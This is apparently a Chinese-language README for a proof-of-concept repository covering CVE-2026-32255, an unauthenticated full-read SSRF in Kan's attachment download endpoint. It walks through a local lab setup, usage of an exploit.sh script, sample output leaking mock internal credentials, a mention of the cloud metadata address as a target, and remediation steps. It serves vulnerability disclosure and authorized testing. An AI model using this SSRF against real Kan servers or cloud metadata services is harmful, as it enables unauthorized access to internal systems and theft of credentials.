本仓库包含针对 CVE-2026-32255 的概念验证(POC),这是开源项目管理工具 Kan 中存在的一个高严重性服务端请求伪造(SSRF)漏洞。
该漏洞端点允许未认证攻击者从服务器发起任意 HTTP 请求并读取完整响应,从而能够访问内部服务和云元数据端点。
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N文件 apps/web/src/pages/api/download/attatchment.ts 暴露了一个 端点,旨在代理从 S3 存储下载附件。该端点接受用户可控的 查询参数,并将其直接传递给服务端的 ,没有任何验证或认证:
GET /api/download/attatchmenturlfetch()const upstream = await fetch(url); // no validation on `url`
攻击者可以提供任意 URL,导致服务器向该目标发起 HTTP 请求,并将完整响应体返回给客户端。这是一个全读取型 SSRF(非盲注),意味着攻击者可以读取整个响应内容。
http://169.254.169.254/)克隆并运行 Kan v0.5.4(最后一个存在漏洞的版本):
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
配置所需的环境变量:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
注意: 如果遇到关于
dokploy-network的错误,请从docker-compose.yml(第 9、130-131 行)中移除dokploy-network引用,然后重新运行docker compose up -d。本地环境不需要此网络。
启动容器:
docker compose up -d
应用程序应可通过 http://localhost:3000 访问。
在另一个终端中,启动随附的模拟内部服务,该服务模拟一个敏感的内部 API:
python3 internal-service.py
这将在端口 8888 上启动一个服务器,返回伪造的凭据,模拟一个仅应从内部网络访问的服务。在真实场景中,该服务将被隔离在防火墙后面,外部无法访问。SSRF 漏洞使攻击者能够通过服务器访问该服务。
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <目标-url> [内部-url]
<目标-url>:Kan 实例的基础 URL(例如 http://localhost:3000)[内部-url]:通过 SSRF 获取的内部 URL(可选,自动从 Docker 桥接网关检测)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - Kan SSRF via Attachment Download ===
Target: http://localhost:3000
Internal URL: http://172.17.0.1:8888
[*] Checking if endpoint is reachable...
[+] Endpoint is reachable (HTTP 400)
[*] Attempting SSRF to http://172.17.0.1:8888 ...
[+] VULNERABLE - Server fetched internal resource
Leaked content:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
更新到 Kan v0.5.5 或更高版本,该版本在代理请求前会针对配置的 S3 端点主机名验证 url 参数。
如果无法立即更新,请在反向代理层面阻止对该漏洞端点外部访问。
本概念验证仅用于教育目的和授权的安全测试。请仅在您拥有或获得明确书面许可的系统上使用此工具。
作者不对本仓库中提供的信息或工具的任何滥用负责。未经授权访问计算机系统是违法的。
发现者: kOaDT ([email protected])